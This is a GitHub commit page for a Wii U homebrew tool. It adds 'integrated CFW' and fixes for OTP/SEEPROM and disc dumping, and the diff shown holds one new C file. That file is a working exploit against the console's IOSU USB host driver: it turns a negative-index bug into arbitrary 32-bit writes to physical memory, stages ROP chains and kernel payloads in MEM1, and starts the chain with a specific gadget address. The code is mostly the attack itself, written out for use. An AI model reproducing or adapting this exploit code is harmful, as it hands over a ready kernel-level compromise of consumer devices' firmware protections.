-
Notifications
You must be signed in to change notification settings - Fork 13
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add integrated CFW: OTP/Seeprom and haxchi disc dumping fixes
- Loading branch information
Showing
56 changed files
with
2,506 additions
and
259 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,78 @@ | ||
| #include "exploit.h" | ||
|
|
||
| static IOSHandle exploitHandle = -1; | ||
|
|
||
| static int32_t* firstChain = (int32_t*)0xF5E00000; | ||
| static int8_t* secondChain = (int8_t*)0xF5E20000; | ||
| static int8_t* thirdChain = (int8_t*)0xF5E30000; | ||
| static int32_t* pretendRootHub = (int32_t*)0xF5E60640; | ||
|
|
||
|
|
||
| int uhsWrite32(int32_t physicalAddr, int32_t value) { | ||
| // Put address in first chain which is referenced in the pretend root hub | ||
| firstChain[520] = physicalAddr - 24; // Address that needs to be written to, minus 24 bytes | ||
| DCStoreRange(firstChain, 0x840); // Flush current CPU cache so that we're sure that IOSU can read it | ||
| OSSleepTicks(0x200000); // Improve stability by waiting for caches to refresh | ||
|
|
||
| // Use pretendRootHub with a negative index (0 being at 0x10149A6C) to write values that come before the IOSU USB module | ||
| // Each index is 0x144 bytes long, so the pretend root hub needs to be at the exact end of that address: 0x10149A6C + (0x144*-0xB349B) = 0x01E60640. | ||
| // 0x01E60640's physical address is 0xF5E60640, which is free to manipulate since it's in MEM1 memory. | ||
| int32_t messageBuffer[] = {-0xB349B, value}; | ||
| int32_t replyBuffer[32]; | ||
| return IOS_Ioctl(exploitHandle, 0x15, messageBuffer, sizeof(messageBuffer), replyBuffer, sizeof(replyBuffer)); | ||
| } | ||
|
|
||
|
|
||
| void setupExploit() { | ||
| // Clear out memory used for the exploit | ||
| memset(firstChain, 0, 0x00070000); | ||
| DCStoreRange(firstChain, 0x00070000); | ||
|
|
||
| firstChain[5] = 1; | ||
| firstChain[8] = 0x01E00000; | ||
|
|
||
| memcpy(secondChain, secondChainBin, sizeof(secondChainBin)); | ||
| memcpy(thirdChain, thirdChainBin, sizeof(thirdChainBin)); | ||
| memcpy((char*)(0xF5E40000), ios_kernel_bin, sizeof(ios_kernel_bin)); | ||
| memcpy((char*)(0xF5E50000), ios_usb_bin, sizeof(ios_usb_bin)); | ||
| *(volatile unsigned int*)0xF5E70000 = sizeof(ios_mcp_bin); | ||
| memcpy((char*)(0xF5E70020), ios_mcp_bin, sizeof(ios_mcp_bin)); | ||
|
|
||
| pretendRootHub[33] = 0x01E00000; | ||
| pretendRootHub[78] = 0; | ||
|
|
||
| //! Store current CPU cache into main memory for IOSU to read | ||
| DCStoreRange(firstChain, 0x840); | ||
| DCStoreRange(secondChain, sizeof(secondChainBin)); | ||
| DCStoreRange(thirdChain, sizeof(thirdChainBin)); | ||
| DCStoreRange((void*)0xF5E40000, sizeof(ios_kernel_bin)); | ||
| DCStoreRange((void*)0xF5E50000, sizeof(ios_usb_bin)); | ||
| DCStoreRange((void*)0xF5E70000, sizeof(ios_mcp_bin) + 0x40); | ||
|
|
||
| DCStoreRange(pretendRootHub, 0x160); | ||
| } | ||
|
|
||
|
|
||
| bool executeExploit() { | ||
| WHBLogPrint("Executing exploit..."); | ||
| WHBLogConsoleDraw(); | ||
|
|
||
| exploitHandle = IOS_Open("/dev/uhs/0", IOSOpenMode::IOS_OPEN_READ); | ||
| if (exploitHandle < IOS_ERROR_OK) { | ||
| WHBLogPrintf("Can't initialize /dev/uhs/0! Error: %ld", exploitHandle); | ||
| IOS_Close(exploitHandle); | ||
| return false; | ||
| } | ||
|
|
||
| // Setup other chains and payloads | ||
| setupExploit(); | ||
|
|
||
| // Setup the first chain that'll lead to the second chain | ||
| uhsWrite32(CHAIN_START+0x14, CHAIN_START + 0x14 + 0x4 + 0x20); | ||
| uhsWrite32(CHAIN_START+0x10, 0x1011814C); | ||
| uhsWrite32(CHAIN_START+0x0C, SOURCE); | ||
| uhsWrite32(CHAIN_START+0x00, 0x1012392b); // pop {R4-R6,PC} | ||
|
|
||
| IOS_Close(exploitHandle); | ||
| return true; | ||
| } |
Oops, something went wrong.